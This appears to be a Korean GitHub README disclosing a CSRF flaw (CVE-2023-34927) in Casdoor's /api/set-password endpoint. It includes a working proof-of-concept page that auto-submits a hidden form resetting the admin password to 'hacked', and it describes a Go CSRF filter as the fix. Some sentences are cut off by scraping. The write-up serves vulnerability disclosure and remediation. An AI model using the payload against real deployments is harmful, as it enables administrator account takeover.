vanlam2001/csrf_casdoorCasdoor의 `/api/set-password` 엔드포인트(CVE-2023-34927)에 대한 개념 증명 CSRF 익스플로잇으로, 교차 사이트 POST 요청을 통해 무단 비밀번호 변경을 가능하게 합니다. Go 기반 CSRF 필터 수정을 포함합니다.
요약
/api/set-password의 CSRF로 인해 동의 없이 비밀번호 변경이 가능합니다.영향
built-in/admin)를 변경하여 계정 탈취로 이어질 수 있습니다.공격 전제 조건
casdoor_session_id 쿠키를 보유하고 있어야 합니다./api/set-password로 POST를 자동 제출하는 악성 페이지를 방문해야 합니다.개념 증명
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
근본 원인
/api/* 하위의 상태 변경 엔드포인트가 동일 출처 검사(Origin/Referer)나 CSRF 토큰을 적용하지 않고 쿠키 인증 요청을 수락합니다.수정 개요
/api/* 하위의 교차 사이트, 쿠키 기반 POST/PUT/DELETE/PATCH 요청을 거부합니다.Authorization, Basic 인증, 클라이언트 자격 증명 또는 accessToken)을 포함한 요청이나 브라우저 세션 쿠키가 없는 요청(일반적인 서버 간 호출)은 허용합니다.구현
csrf_filter.go에 구현된 routers.CSRFFilter를 사용합니다. 이 필터는:
Casdoor에 통합하는 방법
csrf_filter.go를 Casdoor 프로젝트의 기존 routers 패키지에 복사합니다. 이 파일의 내용을 수정하거나 삭제하지 마십시오.main 내부):
// Beego v1 style
web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
검증
Unauthorized operation과 함께 거부되어야 하며 서버는 CSRF check failed를 로그에 기록해야 합니다.Authorization 헤더나 accessToken 매개변수를 포함하는 교차 출처 API 호출은 계속 작동해야 합니다.저장소 파일
csrf_filter.go: Casdoor의 routers 패키지에 복사할 CSRF 필터입니다.poc.html: CSRF 공격을 재현하는 최소 페이지입니다.README.md: 취약점과 수정 단계를 설명하는 이 문서입니다.참고 자료
영상